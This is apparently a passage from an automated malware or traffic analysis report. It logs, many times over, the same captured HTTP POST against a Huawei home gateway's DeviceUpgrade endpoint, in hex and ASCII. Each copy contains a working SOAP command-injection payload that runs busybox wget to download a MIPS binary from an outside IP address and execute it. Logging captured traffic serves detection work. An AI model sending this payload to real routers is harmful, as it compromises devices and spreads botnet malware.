s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 